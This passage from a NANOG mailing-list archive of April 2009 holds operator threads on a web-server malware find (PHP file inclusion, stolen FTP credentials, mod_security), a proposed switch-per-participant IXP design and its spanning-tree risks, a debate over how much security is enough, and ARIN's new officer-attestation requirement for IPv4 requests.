web hosting farm are just huge botnets all on their own. Web server botnets made of IIS and Apache servers. While that malicious code could have been uploaded using an SQL injection or a server software vulnerability, one of the attacks seen most often is PHP file inclusion. This is a really big problem for web hosting service providers, but even While at first this thread was about helping a fellow operator, I see how this has become off-topic for NANOG as it deals with web server database and software security rather than operationally how to handle such infestations. For those interested, I wrote an article on these types of attacks back when I worked for a software vendor: http://tinyurl.com/6kol8f [PDF] Web Server Botnets and Server Farms as Attack Platforms (all rights reserved to Virus Bulletin) Gadi. From fergdawgster at gmail.com Mon Apr 20 12:52:57 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Mon, 20 Apr 2009 10:52:57 -0700 Subject: Malicious code just found on web server In-Reply-To: References: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> Message-ID: <6cd462c00904201052q1f352e25h1aed3e2aa97c0f00@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, Apr 20, 2009 at 10:40 AM, Nick Chapman wrote: > On Mon, Apr 20, 2009 at 12:47 PM, Neil wrote: >> >> But if you figure out how they got write access to a static website, I'd >> love to hear it. > > > Compromised FTP credentials would be my guess. They can be obtained > by brute force attacks or credential stealing trojans. > Yeah, it could have been any number of ways -- there has also been a huge increase of SSH brute-force attacks in the past few weeks: https://isc.sans.org/diary.html?storyid=6214 - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ7LZrq1pz9mNUZTMRAvjkAJ9FLDn/KsLDrW9uIveQEw23ojaFbQCg7T6C LZo3kISAfgBAfdbRSgUd878= =vQAP -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From if at xip.at Mon Apr 20 13:01:52 2009 From: if at xip.at (Ingo Flaschberger) Date: Mon, 20 Apr 2009 20:01:52 +0200 (CEST) Subject: Malicious code just found on web server In-Reply-To: <6cd462c00904201052q1f352e25h1aed3e2aa97c0f00@mail.gmail.com> References: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> <6cd462c00904201052q1f352e25h1aed3e2aa97c0f00@mail.gmail.com> Message-ID: Hi, I see this every day at my webservers with a lot of *outdated* *exploitable* customer websites [I love old joomla's]; but mod_security does a great job nuking sql and various other exploits. Kind regards, Ingo Flaschberger From ge at linuxbox.org Mon Apr 20 13:03:36 2009 From: ge at linuxbox.org (Gadi Evron) Date: Mon, 20 Apr 2009 21:03:36 +0300 Subject: Malicious code just found on web server In-Reply-To: References: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> <6cd462c00904201052q1f352e25h1aed3e2aa97c0f00@mail.gmail.com> Message-ID: <49ECB8F8.1090905@linuxbox.org> Ingo Flaschberger wrote: > Hi, > > I see this every day at my webservers with a lot of *outdated* > *exploitable* customer websites [I love old joomla's]; > but mod_security does a great job nuking sql and various other exploits. mod_security saves our collective behinds every day at nearly every very big Internet service provider I know of, and definitely hosting operations. Mostly I like tweaking with it to see patterns of people who try to mess with me, rather than use most of the usual rules it has. Gadi. From Valdis.Kletnieks at vt.edu Mon Apr 20 15:30:02 2009 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 20 Apr 2009 16:30:02 -0400 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing In-Reply-To: Your message of "Sat, 18 Apr 2009 03:21:06 BST." <4b6ee9310904171921v30869a35mf9b47898367708e6@mail.gmail.com> References: <73153127-1240019388-cardhu_decombobulator_blackberry.rim.net-1080590621-@bxe1209.bisx.prod.on.blackberry> <4b6ee9310904171921v30869a35mf9b47898367708e6@mail.gmail.com> Message-ID: <85296.1240259402@turing-police.cc.vt.edu> On Sat, 18 Apr 2009 03:21:06 BST, "andrew.wallace" said: > The network community and the security community need to collaborate > as much as possible to defeat the threats. > > I'm British and i'm hoping to make UK as secure as possible. Umm. You missed the *very first* principle of proper security design. It shouldn't be "as secure as possible". It should be "as secure as it needs to be". I mean, I suppose you *could* go with mil-spec security, where all materials are kept in a locked safe under armed guard, and you had to fill out paperwork for each piece of paper you took out of the safe, and then more paperwork when you returned it. But did you *really* want all that effort just to check the headlines on bbc.com? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From deepak at ai.net Mon Apr 20 16:23:51 2009 From: deepak at ai.net (Deepak Jain) Date: Mon, 20 Apr 2009 17:23:51 -0400 Subject: IXP In-Reply-To: <21ef2c1c0904192135j230fb7e4x7b378a3ea6b6bf41@mail.gmail.com> References: <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> <49E9F357.7070407@foobar.org> <1F5C73A9-A5D5-4D44-BFC3-8A0E87B3797F@jsyoung.net> <21ef2c1c0904192135j230fb7e4x7b378a3ea6b6bf41@mail.gmail.com> Message-ID: So here is an idea that I hope someone shoots down. We've been talking about pseudo-wires, and the high level of expertise a shared-fabric IXP needs to diagnose weird switch oddities, etc. As far as I can tell, the principal reason to use a shared fabric is to allow multiple connections to networks that may not justify their own dedicated ($$$$) router port. Once they do, they can move over to a PNI. However, an IXP is (at the hardware level at least) trying to achieve any-to-any connectivity without concern for capacity up to the port size of each port on every flow. Scaling this to multiple pieces of hardware has posed interesting challenges when the connection speed to participants is of the same order as the interconnection between IXP switches. So here is a hybrid idea, I'm not sure if It has been tried or seriously considered before. Since the primary justification for a shared fabric is cost savings.... What if everyone who participated at an IXP brought their own switch. For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed 10G. You connect 1-2 ports on your router, you order 18 cross-connects to your favorite peers. The IXP becomes a cross-connect provider (there is a business model bump that can be addressed here, TelX and others could address it). As you need more ports, you add them. A Nexus 5K runs about $500 per port. Here are some advantages. If you have 300 participants, yes, you have a lot of ports/switches. However, as "interconnectivity" increases, so does the total fabric capacity. Each additional switch does NOT add significant complexity to the participants, but it does bring significant backplane and buffering capabilities. Each participant could then configure their own pVlans, Vlans or whatever on *their* switch. If they screw something up, it doesn't take everyone down. A non-offending participant that interconnects with an offender can shut down 1 port (automatically or manually) without affecting the rest of their services. This also prevents the requirement of very complicated security features in the L2/L3 gray area. If you don't want your peer to have multiple MACs, don't accept them. If you're cool with it, you can let it slide. If you want to move someone over to a PNI, the IXP needs to do zilch. You just move your cross-connect over to a new port on your service window, your peer can do it at the same or a different time, no big deal. If you *keep* it on a switch however, you can use LACP uplinks from the switches you have to provide say 40G uplinks to your router so large peers don't affect your ability to process traffic. I doubt however, that if this model is applied, there is much purpose for PNIs -- the cost savings model mostly vanishes. As you want to move to higher speeds (40G and 100G) the IXP has to do zilch. You can switch your ports or peers at anytime you choose or set up a separate fabric for your 100G peers. An upgrade in port density or capacity for a peer, or set of peers, does not require a forklift of the whole IXP or some strange speed shifting (other than in the affected parties). Disadvantages. It's probably cheaper on a per-participant basis than a shared fabric once it gets to be a certain size. It's a different model (many-to-many vs one-to-many) that many are used to. It requires interconnects to other participants (en masse) to be about the same as the per port cost of a shared fabric (this is probably achievable given what many places charge for 10G ports). Each participant is managing an additional type of gear. Theoretically if someone uses an Extreme and another uses a Cisco, there might be issues, but at a pure vanilla-L2/VLAN level, I'm pretty sure even 2nd and 3rd tier vendors can interconnect just fine. I think this addresses the keep it as simple as possible without over simplifying. There is nothing new to this model except (perhaps) as its applied to an IXP. People have been aggregating traffic by ports into trunks by capacity for a long time. I haven't figured out why it hasn't really been done to scale at the IXP level. Thoughts? Deepak Jain AiNET > -----Original Message----- > From: vijay gill [mailto:vgill at vijaygill.com] > Sent: Monday, April 20, 2009 12:35 AM > To: Jeff Young; Nick Hilliard; Paul Vixie; nanog at merit.edu > Subject: Re: IXP > > If you are unfortunate enough to have to peer at a public exchange > point, put your public ports into a vrf that has your routes. Default > will be suboptimal to debug. > > I must say stephen and vixie and (how hard this is to type) even > richard steenbergens methodology makes the most sense going forward. > Mostly to prevent self-inflicted harm on parts of the exchange > participants. Will it work? Doubtful in todays internet clue level > > /vijay > > On 4/18/09, Jeff Young wrote: > > Best solution I ever saw to an 'unintended' third-party > > peering was devised by a pretty brilliant guy (who can > > pipe up if he's listening). When he discovered traffic > > loads coming from non-peers he'd drop in an ACL that > > blocked everything except ICMP - then tell the NOC to > > route the call to his desk with the third party finally gave > > up troubleshooting and called in... > > > > fun memories of the NAPs... > > > > jy > > > > > > On Apr 18, 2009, at 11:35 AM, Nick Hilliard wrote: > > > >> On 18/04/2009 01:08, Paul Vixie wrote: > >>> i've spent more than several late nights and long weekends dealing > >>> with > >>> the problems of shared multiaccess IXP networks. broadcast storms, > >>> poisoned ARP, pointing default, unintended third party BGP, > >>> unintended > >>> spanning tree, semitranslucent loops, unauthorized IXP LAN > >>> extension... > >>> all to watch the largest flows move off to PNI as soon as > somebody's > >>> port was getting full. > >> > > > > > > -- > Sent from my mobile device From deepak at ai.net Mon Apr 20 16:30:18 2009 From: deepak at ai.net (Deepak Jain) Date: Mon, 20 Apr 2009 17:30:18 -0400 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing In-Reply-To: <85296.1240259402@turing-police.cc.vt.edu> References: <73153127-1240019388-cardhu_decombobulator_blackberry.rim.net-1080590621-@bxe1209.bisx.prod.on.blackberry> <4b6ee9310904171921v30869a35mf9b47898367708e6@mail.gmail.com> <85296.1240259402@turing-police.cc.vt.edu> Message-ID: > On Sat, 18 Apr 2009 03:21:06 BST, "andrew.wallace" said: > > The network community and the security community need to collaborate > > as much as possible to defeat the threats. > > > > I'm British and i'm hoping to make UK as secure as possible. > > Umm. You missed the *very first* principle of proper security design. > > It shouldn't be "as secure as possible". It should be "as secure as it > needs to be". > > I mean, I suppose you *could* go with mil-spec security, where all > materials are kept in a locked safe under armed guard, and you had to > fill out paperwork for each piece of paper you took out of the safe, > and then more paperwork when you returned it. But did you *really* > want all that effort just to check the headlines on bbc.com? Let's not ignore the fact that if you set unreasonably high security standards most likely: a) twitter.com or bbc.com wouldn't exist because of the high security scrutiny they'd have been under before being allowed to connect to anything and b) even if they didn't you wouldn't be able to see them because of the high security scrutiny you'd be under before you were allowed to connect. No one dies from an attack on twitter. Let the court/justice system deal with it whenever they get around to it. It keeps IT folks in jobs all over the place, gives the news things to write about, and gives the NANOG mail servers something to use the network for. Intelligence/security folks are tasked to deal with other things and with a real level of severity -- and it's quantifiable (at least in theory ;) ). Another point, security is ephemeral - A wall used to be the "secure as possible" solution to protect cities from invaders. An entertainment novelty in China rendered them obsolete when this black powder was reapplied to warfare. Some attacks (e.g. botnets) can only exist because we all have done a great job building networks over the last 15 years. Now we have new challenges. They all take their own time to mature and address. Deepak Jain AiNET From mksmith at adhost.com Mon Apr 20 16:32:58 2009 From: mksmith at adhost.com (Michael K. Smith - Adhost) Date: Mon, 20 Apr 2009 14:32:58 -0700 Subject: IXP In-Reply-To: References: <49E8D1E5.1070004@nipper.de><50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de><53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> <49E9F357.7070407@foobar.org><1F5C73A9-A5D5-4D44-BFC3-8A0E87B3797F@jsyoung.net><21ef2c1c0904192135j230fb7e4x7b378a3ea6b6bf41@mail.gmail.com> Message-ID: <17838240D9A5544AAA5FF95F8D52031605EC0BA5@ad-exh01.adhost.lan> Hello Deepak: -----Original Message----- So here is an idea that I hope someone shoots down. We've been talking about pseudo-wires, and the high level of expertise a shared-fabric IXP needs to diagnose weird switch oddities, etc. As far as I can tell, the principal reason to use a shared fabric is to allow multiple connections to networks that may not justify their own dedicated ($$$$) router port. Once they do, they can move over to a PNI. However, an IXP is (at the hardware level at least) trying to achieve any-to-any connectivity without concern for capacity up to the port size of each port on every flow. Scaling this to multiple pieces of hardware has posed interesting challenges when the connection speed to participants is of the same order as the interconnection between IXP switches. So here is a hybrid idea, I'm not sure if It has been tried or seriously considered before. Since the primary justification for a shared fabric is cost savings.... What if everyone who participated at an IXP brought their own switch. For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed 10G. [Michael K. Smith - Adhost] This sounds like fertile ground for unintended consequences. Unmanaged spanning tree topological changes as three people, previously connected to their own switch and to others, now decide to connect to each other as well, using those inexpensive L2 ports. Regards, Mike From deepak at ai.net Mon Apr 20 16:54:58 2009 From: deepak at ai.net (Deepak Jain) Date: Mon, 20 Apr 2009 17:54:58 -0400 Subject: IXP In-Reply-To: <17838240D9A5544AAA5FF95F8D52031605EC0BA5@ad-exh01.adhost.lan> References: <49E8D1E5.1070004@nipper.de><50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de><53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> <49E9F357.7070407@foobar.org><1F5C73A9-A5D5-4D44-BFC3-8A0E87B3797F@jsyoung.net><21ef2c1c0904192135j230fb7e4x7b378a3ea6b6bf41@mail.gmail.com> <17838240D9A5544AAA5FF95F8D52031605EC0BA5@ad-exh01.adhost.lan> Message-ID: > > Hello Deepak: > > -----Original Message----- > > So here is an idea that I hope someone shoots down. > > We've been talking about pseudo-wires, and the high level of expertise > a > shared-fabric IXP needs > to diagnose weird switch oddities, etc. > > As far as I can tell, the principal reason to use a shared fabric is to > allow multiple connections to networks > that may not justify their own dedicated ($$$$) router port. Once they > do, they can move over to a PNI. However, an IXP is (at the hardware > level at least) trying to achieve any-to-any connectivity without > concern for capacity up to the port size of each port on every flow. > Scaling this to multiple pieces of hardware has posed interesting > challenges when the connection speed to participants is of the same > order as the interconnection between IXP switches. > > So here is a hybrid idea, I'm not sure if It has been tried or > seriously > considered before. > > Since the primary justification for a shared fabric is cost savings.... > > What if everyone who participated at an IXP brought their own switch. > For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed > 10G. > > > [Michael K. Smith - Adhost] > > This sounds like fertile ground for unintended consequences. Unmanaged > spanning tree topological changes as three people, previously connected > to their own switch and to others, now decide to connect to each other > as well, using those inexpensive L2 ports. If each port is in its own pVLAN or similar, and they are only allowed to talk to their uplinks and not other L2 ports on the same switch, loops are avoided. I should have hashed that point out with another line. Yes, strictly throwing up an unconfigured switch becomes a problem after the 2nd one goes in -- but only for those brave enough to peer with you and dumb enough to allow their switch to behave that way. The double-edged clue sword. Deepak From mksmith at adhost.com Mon Apr 20 17:11:13 2009 From: mksmith at adhost.com (Michael K. Smith - Adhost) Date: Mon, 20 Apr 2009 15:11:13 -0700 Subject: IXP In-Reply-To: References: <49E8D1E5.1070004@nipper.de><50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de><53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> <49E9F357.7070407@foobar.org><1F5C73A9-A5D5-4D44-BFC3-8A0E87B3797F@jsyoung.net><21ef2c1c0904192135j230fb7e4x7b378a3ea6b6bf41@mail.gmail.com> <17838240D9A5544AAA5FF95F8D52031605EC0BA5@ad-exh01.adhost.lan> Message-ID: <17838240D9A5544AAA5FF95F8D52031605EC0BC7@ad-exh01.adhost.lan> > -----Original Message----- > > So here is an idea that I hope someone shoots down. > > We've been talking about pseudo-wires, and the high level of expertise > a > shared-fabric IXP needs > to diagnose weird switch oddities, etc. > > As far as I can tell, the principal reason to use a shared fabric is to > allow multiple connections to networks > that may not justify their own dedicated ($$$$) router port. Once they > do, they can move over to a PNI. However, an IXP is (at the hardware > level at least) trying to achieve any-to-any connectivity without > concern for capacity up to the port size of each port on every flow. > Scaling this to multiple pieces of hardware has posed interesting > challenges when the connection speed to participants is of the same > order as the interconnection between IXP switches. > > So here is a hybrid idea, I'm not sure if It has been tried or > seriously > considered before. > > Since the primary justification for a shared fabric is cost savings.... > > What if everyone who participated at an IXP brought their own switch. > For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed > 10G. > > > [Michael K. Smith - Adhost] > > This sounds like fertile ground for unintended consequences. Unmanaged > spanning tree topological changes as three people, previously connected > to their own switch and to others, now decide to connect to each other > as well, using those inexpensive L2 ports. If each port is in its own pVLAN or similar, and they are only allowed to talk to their uplinks and not other L2 ports on the same switch, loops are avoided. I should have hashed that point out with another line. Yes, strictly throwing up an unconfigured switch becomes a problem after the 2nd one goes in -- but only for those brave enough to peer with you and dumb enough to allow their switch to behave that way. The double-edged clue sword. Deepak [Michael K. Smith - Adhost] The problem is the model as you've presented it, or as I've read it anyway, allows that type of insertion as part of its root design. If all of the switches have to speak spanning tree because they may be connected to each other on some connection outside of your administrative control, then you have no control over what happens "over there" that causes issues with the STP domain. I'm a big fan of the operational simplicity of a L2 shared fabric with spanning tree disallowed by policy and configuration with all of its resources dedicated to forwarding frames. I'm not convinced that a more complex L3 shared architecture over a shared L2 fabric gets you any more security or resiliency, but it certainly keeps the exchange people busy! I should note that I do technical work for the Seattle Internet Exchange so I'm showing a bias. But, with that said, we have benefited greatly from this model, through consistent, tragedy free growth and very high uptime. Regards, Mike From niels=nanog at bakker.net Mon Apr 20 17:57:01 2009 From: niels=nanog at bakker.net (Niels Bakker) Date: Tue, 21 Apr 2009 00:57:01 +0200 Subject: IXP In-Reply-To: References: <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> <49E9F357.7070407@foobar.org> <1F5C73A9-A5D5-4D44-BFC3-8A0E87B3797F@jsyoung.net> <21ef2c1c0904192135j230fb7e4x7b378a3ea6b6bf41@mail.gmail.com> Message-ID: <20090420225701.GK9502@burnout.tpb.net> * deepak at ai.net (Deepak Jain) [Mon 20 Apr 2009, 23:25 CEST]: >So here is an idea that I hope someone shoots down. > >We've been talking about pseudo-wires, and the high level of expertise a >shared-fabric IXP needs to diagnose weird switch oddities, etc. [..] >What if everyone who participated at an IXP brought their own switch. >For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed >10G. You didn't Cc: randy bush and I assume he's been delete-threading this so I'll say it instead: I encourage all my competitors to try this. You do realise, I hope, that the ability to diagnose weird switch oddities decreases pretty radically when the switch is outside one's administrative control, right? Ethernet has no administrative boundaries that can be delineated. Spanning one broadcast domain across multiple operators is therefore a recipe for disaster. Attempts to limit this will fail as there is no enforcement possible in such a cooperative environment except yelling after the fact and frantic mailing during meltdowns. I don't think I need to spell out how quick hacks will severely restrict scalability. Cheap, fast, secure. It is obvious which two Ethernet chose. -- Niels. -- "We humans get marks for consistency. We always opt for civilization after exhausting the alternatives." -- Carl Guderian From jgreco at ns.sol.net Mon Apr 20 18:39:47 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Mon, 20 Apr 2009 18:39:47 -0500 (CDT) Subject: Important New Requirement for IPv4 Requests Message-ID: <200904202339.n3KNdleL042511@aurora.sol.net> Forwarded message: > Subject: Important New Requirement for IPv4 Requests > From: ARIN Registration Services > > Hello, > > With the approaching depletion of the IPv4 address free pool, the > ARIN Board of Trustees has directed ARIN staff to take additional > steps to ensure the legitimacy of all IPv4 address space requests. > Beginning 18 May 2009, ARIN will require that all applications for > IPv4 address space include an attestation of accuracy from an officer > of the organization. For more information on this requirement, please > see: > > https://www.arin.net/resources/agreements/officer_attest.html > > Whenever a request for IPv4 resources is received, ARIN will ask in > its initial reply for the name and contact information of an officer > of the organization who will be able to attest to the validity of the > information provided to ARIN. > > At the point a request is ready to be approved, ARIN will send a summary > of the request (via e-mail) to the officer with a cc: to the requesting > POC (Tech or Admin) and ask the officer to attest to the validity of the > information provided to ARIN. The summary will provide a brief overview > of the request and an explanation of the required attestation. ARIN will > include the original request template and any other relevant information > the requestor provided. Once ARIN receives the attestation from the > officer, the request can be approved. Attestation may also be provided > via fax or postal mail. > > For further assistance, contact ARIN's Registration Services Help Desk > via e-mail to hostmaster at arin.net or telephone at +1.703.227.0660. Let me see if I can understand this. We're running out of IPv4 space. Knowing that blatant lying about IP space justifications has been an ongoing game in the community, ARIN has decided to "do something" about it. So now they're going to require an attestation. Which means that they are going to require an "officer" to "attest" to the validity of the information. So the "officer," most likely not being a technical person, is going to contact ... probably the same people who made the request, ask them if they need the space. Right? And why would the answer be any different, now? ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From brandon.galbraith at gmail.com Mon Apr 20 20:16:18 2009 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Mon, 20 Apr 2009 20:16:18 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: <366100670904201816q495045a3w3fecc6e1d2ef5933@mail.gmail.com> On Mon, Apr 20, 2009 at 6:39 PM, Joe Greco wrote: > > So now they're going to require an attestation. Which means that they > are going to require an "officer" to "attest" to the validity of the > information. > > So the "officer," most likely not being a technical person, is going to > contact ... probably the same people who made the request, ask them if > they need the space. Right? > > And why would the answer be any different, now? > > ... JG > -- > Easier to take back resources if an officer of the company lied regarding their usage/need, no? Just a thought, although I am by no means an expert in the field of contract law. -brandon -- Brandon Galbraith Voice: 630.400.6992 From mhernand1 at comcast.net Mon Apr 20 20:20:10 2009 From: mhernand1 at comcast.net (manolo) Date: Mon, 20 Apr 2009 21:20:10 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: <49ED1F4A.9010701@comcast.net> Joe Greco wrote: > Forwarded message: > >> Subject: Important New Requirement for IPv4 Requests >> From: ARIN Registration Services >> >> Hello, >> >> With the approaching depletion of the IPv4 address free pool, the >> ARIN Board of Trustees has directed ARIN staff to take additional >> steps to ensure the legitimacy of all IPv4 address space requests. >> Beginning 18 May 2009, ARIN will require that all applications for >> IPv4 address space include an attestation of accuracy from an officer >> of the organization. For more information on this requirement, please >> see: >> >> https://www.arin.net/resources/agreements/officer_attest.html >> >> Whenever a request for IPv4 resources is received, ARIN will ask in >> its initial reply for the name and contact information of an officer >> of the organization who will be able to attest to the validity of the >> information provided to ARIN. >> >> At the point a request is ready to be approved, ARIN will send a summary >> of the request (via e-mail) to the officer with a cc: to the requesting >> POC (Tech or Admin) and ask the officer to attest to the validity of the >> information provided to ARIN. The summary will provide a brief overview >> of the request and an explanation of the required attestation. ARIN will >> include the original request template and any other relevant information >> the requestor provided. Once ARIN receives the attestation from the >> officer, the request can be approved. Attestation may also be provided >> via fax or postal mail. >> >> For further assistance, contact ARIN's Registration Services Help Desk >> via e-mail to hostmaster at arin.net or telephone at +1.703.227.0660. >> > > Let me see if I can understand this. > > We're running out of IPv4 space. > > Knowing that blatant lying about IP space justifications has been an > ongoing game in the community, ARIN has decided to "do something" about > it. > > So now they're going to require an attestation. Which means that they > are going to require an "officer" to "attest" to the validity of the > information. > > So the "officer," most likely not being a technical person, is going to > contact ... probably the same people who made the request, ask them if > they need the space. Right? > > And why would the answer be any different, now? > > ... JG > So I wonder if this applies to some of the players who have recently gotten a /19 for dubious purposes and are so large that an "officer" of the company may be 1500 miles away. It's a sad state of affairs. Are they going to hold the "officer" liable if the request is not legit? Manny From dga at cs.cmu.edu Mon Apr 20 21:04:05 2009 From: dga at cs.cmu.edu (David Andersen) Date: Mon, 20 Apr 2009 22:04:05 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: <8654876D-CEA6-469A-8611-FEE7A943B8BE@cs.cmu.edu> On Apr 20, 2009, at 7:39 PM, Joe Greco wrote: > We're running out of IPv4 space. > > Knowing that blatant lying about IP space justifications has been an > ongoing game in the community, ARIN has decided to "do something" > about > it. > > So now they're going to require an attestation. Which means that they > are going to require an "officer" to "attest" to the validity of the > information. > > So the "officer," most likely not being a technical person, is going > to > contact ... probably the same people who made the request, ask them > if > they need the space. Right? > > And why would the answer be any different, now? Just a thought: A technical person might be very happy to lie to a toothless organization that holds no real sway over him or her, won't revoke the address space once granted, and for whom the benefit of lots of address space in which to play exceeds any potential pain from being caught, er, exaggerating their need for address space. That same technical person might be less inclined to lie to a director of their company who asks: "Are you asking me to attest, publicly and perhaps legally, that this information is correct? If you're wrong and you make an ass of me, it's going to be yours that goes out the door." Seems like a reasonable experiment to try, at least. -Dave -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 194 bytes Desc: This is a digitally signed message part URL: From owenc at hubris.net Mon Apr 20 21:07:25 2009 From: owenc at hubris.net (Chris Owen) Date: Mon, 20 Apr 2009 21:07:25 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <8654876D-CEA6-469A-8611-FEE7A943B8BE@cs.cmu.edu> References: <200904202339.n3KNdleL042511@aurora.sol.net> <8654876D-CEA6-469A-8611-FEE7A943B8BE@cs.cmu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Apr 20, 2009, at 9:04 PM, David Andersen wrote: > Just a thought: A technical person might be very happy to lie to a > toothless organization that holds no real sway over him or her, > won't revoke the address space once granted, and for whom the > benefit of lots of address space in which to play exceeds any > potential pain from being caught, er, exaggerating their need for > address space. > > That same technical person might be less inclined to lie to a > director of their company who asks: "Are you asking me to attest, > publicly and perhaps legally, that this information is correct? If > you're wrong and you make an ass of me, it's going to be yours that > goes out the door." > > Seems like a reasonable experiment to try, at least. I agree there is no harm in the idea but as I was reading the announcement this morning I couldn't help but think "Too little, too late". Chris - ------------------------------------------------------------------------------ Chris Owen - Garden City (620) 275-1900 - Lottery (noun): President - Wichita (316) 858-3000 - A stupidity tax Hubris Communications Inc www.hubris.net - ------------------------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) Comment: Public Key: http://home.hubris.net/owenc/pgpkey.txt Comment: Public Key ID: 0xB513D9DD iEYEARECAAYFAkntKl0ACgkQElUlCLUT2d0engCgk3EJW7uu0j9p0ArLjRmZHseP cLMAnRqYov8CwxkF1E1pxP4zktUhA+HS =i5o1 -----END PGP SIGNATURE----- From sronan at fattoc.com Mon Apr 20 21:47:38 2009 From: sronan at fattoc.com (Shane Ronan) Date: Mon, 20 Apr 2009 19:47:38 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <8654876D-CEA6-469A-8611-FEE7A943B8BE@cs.cmu.edu> References: <200904202339.n3KNdleL042511@aurora.sol.net> <8654876D-CEA6-469A-8611-FEE7A943B8BE@cs.cmu.edu> Message-ID: I don't believe I saw anywhere that these attestations were being made under penalty of perjury or any other method of civil punishment. Do they have to notarized? What are the real benefits here, other then putting more people to work at ARIN and increase the workload of those who really do need new IP space. Shane Ronan On Apr 20, 2009, at 7:04 PM, David Andersen wrote: > "Are you asking me to attest, publicly and perhaps legally, that > this information is correct? From mmc at internode.com.au Mon Apr 20 21:56:11 2009 From: mmc at internode.com.au (Matthew Moyle-Croft) Date: Tue, 21 Apr 2009 12:26:11 +0930 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: <18E4D2C5-118B-4D95-A76F-ADDAEEB2F737@internode.com.au> ARIN should ask companies to demonstrate: - demonstration of routing of an IPv6 range/using IPv6 address space - demonstration of services being offered over IPv6 - a plan to migrate customers to IPv6 - automatic allocation of IPv6 range instead of IPv4 for those who can't do so. ie. No more IPv4 for you until you've shown IPv6 clue. Then people can't just get away with driving into the brick wall of IPv4-allocation fail. (Not sure if I'm serious about this suggestion, but it's there now). MMC On 21/04/2009, at 9:09 AM, Joe Greco wrote: > > Let me see if I can understand this. > > We're running out of IPv4 space. > > Knowing that blatant lying about IP space justifications has been an > ongoing game in the community, ARIN has decided to "do something" > about > it. > > So now they're going to require an attestation. Which means that they > are going to require an "officer" to "attest" to the validity of the > information. > > So the "officer," most likely not being a technical person, is going > to > contact ... probably the same people who made the request, ask them > if > they need the space. Right? > > And why would the answer be any different, now? > > ... JG > -- > Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net > "We call it the 'one bite at the apple' rule. Give me one chance > [and] then I > won't contact you again." - Direct Marketing Ass'n position on e- > mail spam(CNN) > With 24 million small businesses in the US alone, that's way too > many apples. > -- Matthew Moyle-Croft Networks, Internode/Agile Level 5, 162 Grenfell Street, Adelaide, SA 5000 Australia Email: mmc at internode.com.au Web: http://www.on.net Direct: +61-8-8228-2909 Mobile: +61-419-900-366 Reception: +61-8-8228-2999 Fax: +61-8-8235-6909 From aaron at wholesaleinternet.net Mon Apr 20 22:11:59 2009 From: aaron at wholesaleinternet.net (Aaron Wendel) Date: Mon, 20 Apr 2009 22:11:59 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <18E4D2C5-118B-4D95-A76F-ADDAEEB2F737@internode.com.au> References: <200904202339.n3KNdleL042511@aurora.sol.net> <18E4D2C5-118B-4D95-A76F-ADDAEEB2F737@internode.com.au> Message-ID: <06ef01c9c22e$ef354660$cd9fd320$@net> I think this needlessly involves people who probably don't have a clue in an area we may not really want them involved in. I can hear the conversation now: Officer: "Why do I have to sign this thing?" Tech: "Well your graciousness. We are coming to the end of the available address space and the gods at ARIN want to make you aware of that so you might approve that request I made for new equipment to deploy IPv6 with." Officer: "Huh? Do we need it?" Tech: "Yes, we need the address space." Officer: "And they're running out?" Tech: "Well out of the v4 space which is what we use now but we can move to v6 space and..." 